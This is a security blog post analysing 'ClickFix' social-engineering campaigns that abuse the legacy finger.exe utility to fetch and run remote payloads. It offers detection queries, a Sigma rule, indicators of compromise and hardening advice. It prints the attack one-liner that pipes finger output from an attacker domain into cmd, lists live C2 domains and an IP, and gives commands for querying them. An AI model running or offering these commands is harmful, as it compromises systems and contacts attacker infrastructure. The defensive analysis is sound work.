Listen to this Post
Introduction
A forgotten protocol from the dawn of the internet has been resurrected in a sophisticated new social engineering campaign. The `finger` command, a legacy network utility present on Windows since its earliest days, is being exploited as a Living Off the Land Binary (LOLBin) in “ClickFix” attacks to bypass traditional security measures and deliver remote access trojans. By disguising malicious code behind fake AI tools, background removers, and counterfeit CAPTCHA prompts, threat actors trick users into manually executing a single line that hands over complete control of their system.
Learning Objectives
- Understand the mechanics of the “ClickFix” attack chain and how the legacy `finger.exe` utility functions as a command-and-control (C2) channel.
- Learn to identify social engineering lures, including fake AI tools, CAPTCHA verifications, and SEO-poisoned links.
- Acquire hands-on detection and prevention methods, including monitoring for `finger.exe` execution and implementing network controls for TCP port 79.
You Should Know
- The ClickFix Infection Chain: From CAPTCHA to CMD
This campaign relies on pure social engineering, guiding a user to infect themselves. The attacker creates a convincing but entirely fake web UI, such as a background remover or AI image generator. The final step always mimics a “human verification” test.
Step‑by‑step guide explaining what this does and how to use it.
Step 1: The Lure. A victim lands on a malicious page, often through SEO-poisoned search results or LinkedIn lures, promoting a free “AI tool” or “background remover”.
Step 2: The Fake Verification. After uploading an image or initiating a process, the user is presented with a reCAPTCHA-style checkbox. The interface contains hidden JavaScript that, upon clicking, copies a malicious command to the clipboard without the user’s knowledge.
Step 3: The Manual Execution. The site displays an error message or instruction box, urging the user to press Win + R, open `cmd` or PowerShell, and paste the command to “complete verification.”
Step 4: The LOLBin Execution. The pasted command utilizes finger.exe. The finger protocol was a UNIX utility designed to display remote user information, now relegated to a legacy Windows binary. A typical command is:
`cmd /c start “” /min cmd /c “finger gcaptcha@malicious-domain[.]top | cmd” && echo Verify you are human–press ENTER`
Step 5: Command Retrival. The `finger.exe` utility establishes a TCP connection on port 79 to the attacker’s C2 server (specified after the `@` symbol). The server does not return user data; instead, it returns a crafted text string or Base64-encoded payload designed to be executed by the local command processor. For example, a campaign observed `finger gcaptcha@captchaver[.]top` which returned a Base64-encoded PowerShell payload that was then decoded and run via powershell -Command.
2. Forensic Analysis: Detecting `finger.exe` Activity
Detection relies on identifying the execution of this legacy binary and its network traffic. Since `finger.exe` is rarely used in modern enterprise environments, any execution is a high-fidelity indicator of compromise (IOC).
Step‑by‑step guide to hunt for Finger-based LOLBin activity.
Step 1: Hunt for Command-Line Execution (Windows).
Use Event Logs or an EDR tool to search for the execution of `finger.exe` with command-line arguments that include external domains. Look for the parent process, which is typically `cmd.exe` or an internet browser.
- Windows Event Log (Sysmon Event ID 1):
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1} | Where-Object { $_.Message -like "finger.exe" } | Format-List -
Command Line Hunting (Regex):
finger\s+[\w\d]+\@[a-zA-Z0-9.-]+\s(?:|\scmd||\spowershell)
Step 2: Hunt for Outbound Network Connections.
Monitor TCP port 79 for any outbound connections originating from a Windows host.
- Live Monitoring with PowerShell:
Get-NetTCPConnection -RemotePort 79 | Where-Object { $<em>.State -eq 'Established' -or $</em>.State -eq 'SynSent' } - Network Capture (Wireshark Filter):
tcp.port == 79 and ip.dst != YOUR_INTERNAL_DNS_SERVER
Step 3: YARA & Sigma Rules (For EDR/SIEM).
Use a Sigma rule to detect the command-line pattern across your SIEM.
title: Finger LOLBin C2 Activity status: experimental logsource: category: process_creation product: windows detection: selection_img: Image|endswith: '\finger.exe' selection_cli: CommandLine|contains: - '@' - '.com' - '.top' - '.org' condition: selection_img and selection_cli
- The Payload: Infostealers and Remote Access Trojans (RAT)
The initial `finger.exe` command is simply a dropper. Once executed, it retrieves and runs a secondary script that downloads the final payload. The ultimate goal is system takeover and data theft.
Step‑by‑step analysis of the post-exploitation malware.
Stage 1 Loader (CastleLoader). The command response decodes and executes a loader script. This script uses `certutil` or BITSAdmin to download a malicious executable (often disguised as a .jpg or .pdf) from a new domain.
Stage 2 Malware (NetSupport RAT & CastleStealer).
- NetSupport RAT: An attacker uses a legitimate remote administration tool to gain persistent remote desktop control over the victim. This allows them to move laterally through the network.
- CastleStealer (Custom .NET Stealer): This module runs silently in the background to exfiltrate data. It targets:
- Saved credentials and cookies from Chromium-based browsers.
- Cryptocurrency wallet extensions (e.g., MetaMask, Phantom).
- Telegram session files (
tdatafolder) to bypass 2FA. -
PowerShell Infostealer Variant: Other campaigns use a pure PowerShell infostealer. The script uses `curl.exe` (renamed to `winupdate.exe` to avoid detection) to download a `data.zip` file from a C2 like
cloudmega.org.
- Locating Indicators of Compromise (IOCs): Domains, Usernames & Commands
Threat actors are actively rotating their infrastructure to evade blocklists. The initial post detailed specific components that are critical for threat intelligence teams.
Known Indicators from Campaigns (As of Jan 2026):
Active Malicious Infrastructure:
- C2 Domains:
captchaver[.]top,cheeshomireciple[.]com,finger.cloudmega[.]org, `pmidpils[.]com`
– Malicious IP Observed: `91.193.19[.]108`
Finger Service Queries (Usernames):
– `gcaptcha@`
– `Galo@`
– `vke@`
– `nrLeDHDESi@`
Step-by-step tool to check for live C2 infrastructure.
Use the Windows `finger` client or Linux `nc` to query a suspected C2 server to see if it returns a payload. Do this only from a sandbox environment.
- Windows Command (Run in Sandbox):
finger [email protected]
- Linux Netcat Equivalent:
echo "Galo" | nc -v 91.193.19.108 79
5. Hardening the Environment: Kill the Finger Protocol
The most effective mitigation for a corporate enterprise is to disable or block the legacy protocol entirely, as modern operations have no legitimate need for it.
Active Directory / Group Policy (Windows):
Block execution of `finger.exe` via AppLocker or WDAC (Windows Defender Application Control).
– Create a rule to deny execution for %SYSTEM32%\finger.exe.
– Create a rule in Windows Firewall (Domain/Public Profile): Outbound Rule > Block > Port > TCP > 79.
Multi-Layered Defense Strategy:
- Perimeter Firewall (Edge): Block all outbound traffic on TCP port 79.
- DNS Filtering (Prevention): Add all identified malicious domains (
.top,cloudmega[.]org) to a block list to prevent initial command callbacks. - Security Awareness Training (The User Layer): Explicitly train users to never run commands from a CAPTCHA. Make it a rule: “Legitimate CAPTCHAs will never ask you to press Win+R or paste code into a terminal.”
What Undercode Say
- Legacy Protocols are Backdoors. The resurgence of `finger.exe` proves that old network services are often forgotten by security teams, making them perfect covert channels for attackers. Security is not just about blocking new things, but also about removing the old ones.
- ClickFix Defeates Technical Controls. This is a social engineering victory. By tricking the user into running the command, the attacker bypasses web filters, sandboxes, and email gateways entirely. User education is not just a “checkbox”; it is the primary defense line.
- Endpoint Visibility is Non-Negotiable. You cannot protect what you cannot see. If your EDR solution does not log/hunt for the execution of legacy system binaries like
finger.exe, it is blind to this threat. A proactive threat-hunting program is required to catch this.
Prediction
As endpoint detection for `finger.exe` becomes standard, attackers will pivot to other forgotten protocols. Expect to see abuse of legacy `telnet` clients for command retrieval, or the resurgence of `rcp` and rexec. This tactic shows that “living off the land” will increasingly target the digital fossil record—outdated but ever-present protocols bundled with modern operating systems. Organizations will be forced to implement strict “allow-list” network policies, blocking all outbound traffic except for core business ports like 80, 443, and 53, to combat this trend.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Clickfix UgcPost – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
